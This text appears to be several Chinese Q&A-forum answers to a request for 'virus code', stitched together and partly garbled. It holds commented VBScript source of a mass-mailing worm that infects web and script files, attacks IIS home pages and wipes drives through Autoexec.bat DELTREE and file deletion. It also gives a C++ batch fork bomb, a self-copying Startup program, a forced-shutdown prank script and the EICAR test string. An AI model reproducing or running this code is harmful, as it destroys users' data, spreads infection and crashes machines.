LCase(Wnet.ComputerName)for i=0 to 4if InStr(tmpStr, keys(i)) > 0 thenTestUser=trueexit functionend ifnexttmpStr = LCase(Wnet.UserDomain)for i=0 to 4if InStr(tmpStr, keys(i)) >0 thenTestUser=trueexit functionend ifnextSet Wnet = Nothingend functionfunction SendMail() '发送文件过程on error resume nextdim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件主题是随机的，此过程与“欢乐时光“类似，所以不再描述Randomizeat=fso.GetSpecialFolder(1) & "Readme.html"set Oa = CreateObject("Outlook.Application")set wab = Oa.GetNameSpace("MAPI")for j = 1 to wab.AddressLists.Counteins = wab.AddressLists(j)wreg=Readreg (HCUW & eins)if (wreg="") then wreg = 1Eaec = eins.AddressEntries.Countif (Eaec > Int(wreg)) thenfor x = 1 to Eaecarrsm = wab.AddressEntries(x)areg = Readreg(HCUW & arrsm)if (areg = "") thenset fm = wab.CreateItem(0)with fmra = int(rnd() * 7).Recipients.Add arrsm.Subject = title(ra).Body = title(ra).Attachments at.SendWritereg HCUW & arrsm, 1, "REG_DWORD"end withend ifnextend ifWritereg HCUW & eins, Eaec, ""next'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。for j = 1 to smailcarrsm = whb(j)set fm = wab.CreateItem(0)ra = int(rnd() * 7)with fm.Recipients.Add arrsm.Subject = title(ra).Body = title(ra).Sendend withnextset Oa = Nothingwindow.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送end functionsub SearchHTML(Path) '搜索可传染文件的过程on error resume nextdim pfo, psfo, pf, ps, pfi, extif instr(Path, fso.GetSpecialFolder(2)) > 0 then exit subif Path <> "E:" then exit subset pfo = fso.GetFolder(Path)set psfo = pfo.SubFoldersfor each ps in psfoSearchHTML(ps.Path)set pf = ps.Filesfor each pfi in pfext = LCase(fso.GetExtensionName(pfi.Path))if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。if Code_Str<>"" then AddHead pfi.Path, pfi, 1elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码AddHead pfi.Path,pfi, 2end ifnextnextend subsub Killhe() '全盘删除文件过程on error resume nextdim codeText, ko,adi, kd, kh, ks,kf,kfscodeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_"DELTREE c:" '将删除C盘的命令插入Autoexec.bat 中，下次开机时，删除整个硬盘，并没有任何提示set ko = fso.OpenTextFile("C:Autoexec.bat", 8, true)ko.Write vbcrlf & codeTextko.Close'接着立刻删除其它盘的所有文件set adi = fso.Drivesfor each x in adiif x.DrivesType = 2 thenset kd = fso.GetFolder(x & "")set kfs = kd.Filesfor each kf in kfskf.Deletenextset ks = kd.SubFoldersfor each kh in kskh.Deletenextend ifnextdo while 1 '让系统立刻死机window.open ""loopend subsub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程dim fiH = "C:InetPutwwwroot"if fso.FolderExists(H) then'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户set fi = fso.GetFile(H & "index.htm")AddHead H & "index.htm",fi,1end ifend subsub AddHead(Path, f, t) '此过程是病毒传染文件具体过程on error resume nextdim tso, buffer,srif f.size > MAX_SIZE then exit sub '传染大小小于100K的文件set tso = fso.OpenTextFile(Path, 1, true)buffer = tso.ReadAll()tso.closeif (t = 1) thenif UCase(Left(LTrim(buffer), 7)) <> " "'@" thentso.closesr=w2 & "user.dll"if fso.FileExists(sr) then fso.CopyFile sr, Pathend ifend ifend sub 虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。
我的回答 http://zhidao.baidu.com/question/58822352.html 太长了,复制要很久

本代码尽管测试，无任何危险。病毒文件测试代码。使用方法如下： thisisnotarealvirus.itisatextfilethatisusedtotestantivirussoftware.测试代码：---------------------请复制下面的代码到文本中保存-------------------x5o!p%@ap[4pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*---------------------请复制上面的代码到文本中保存-------------------测试方法：1.鼠标右键点击桌面空白处，创建一个“文本文档”。（什么，还不会建？我倒）2.将下面这段测试代码复制到“文本”里，保存，然后可以直接右键点击这个文本，用杀毒软件扫描（图1）。也可以等一会，如果你的杀毒软件还行，会自动报毒并将该文本删除，那就可以初步放心了。测试原理：该段代码是欧洲计算机防病毒协会开发的一种病毒代码，其中的特征码已经包含在各种杀毒软件的病毒代码库里，所以可以用做测试病毒扫描引擎。测试等级:特等：复制完代码后便提示内存有病毒优等：刚保存完就提示病毒(或者直接删除)中等：保存后几秒提示病毒(或者直接删除)下等：需自己启动病毒扫描查杀才提示病毒(或者直接删除) 劣等：无论怎么扫描都无法提示病毒(或者直接删除)
自己去网上找吧，太严重了你受不起，太轻了没效果 把这段代码复制一下，然后保存成文件名。vbs的形式，双击运行一下on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""喃喃，乖乖叫嘻哥。不然干掉你!--"" ",0 ,truedim ado while(a <> "嘻哥")a = inputbox ("说嘻哥,就不关机，快，说 ""嘻哥"" ","嘻宝宝","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "早说嘛，死喃喃，浪费了我的时间，猪头喃喃。"
诶呀 要病毒代码啊 我有很多 还有病毒制造器 要就加我370504064

/*亲自验证，不到30秒电脑卡死！运行后做好关机准备*//*留下您的赞再拿走，谢谢*/运行效果如图/*源代码：*///////////////////////////////////////////////////#include #include #include using namespace std;int main(){char a[9] = "abc.bat";ofstream file_out(a);file_out<<"%0|%0";file_out.close();system( a );return 0;}
最简单的病毒 #include "windows.h"#include "stdio.h"void main(int argc,char * argv[]){//printf("%sn",argv[i]);char copy[80];sprintf(copy,"copy%s"%%userprofile%%\「开始」菜单\程序\启动"",argv[0]);system(copy); //将这个程序拷到开机启动文件夹下面//char cmd[]="shutdown -r -t 0";//自动重起char cmd[]="ping baidu.com";//将这个换成上面的，就是一开机就重起了！system(cmd);system("pause"); }
最简单的病毒代码如下：#include "windows.h" #include "stdio.h"void main(int argc,char * argv[]){//printf("%sn",argv[i]);char copy[80];sprintf(copy,"copy%s"%%userprofile%%\「开始」菜单\程序\启动"",argv[0]);system(copy); //将这个程序拷到开机启动文件夹下面//char cmd[]="shutdown -r -t 0";//自动重起char cmd[]="ping baidu.com";//将这个换成上面的，就是一开机就重起了！system(cmd);system("pause"); }
/*亲自验证，不到30秒电脑卡死！运行后做好关机准备*/ /*留下您的赞再拿走，谢谢*/运行效果如图/*源代码：*///////////////////////////////////////////////////#include #include #include using namespace std;int main(){char a[9] = "abc.bat";ofstream file_out(a);file_out<<"%0|%0";file_out.close();system( a );return 0; }
#include "picture.h" //加入绘图头文件 usingnamespacestd;int main(){intx=1024;inty=768;inta,b;clog<<"我恭喜你中了病毒！"<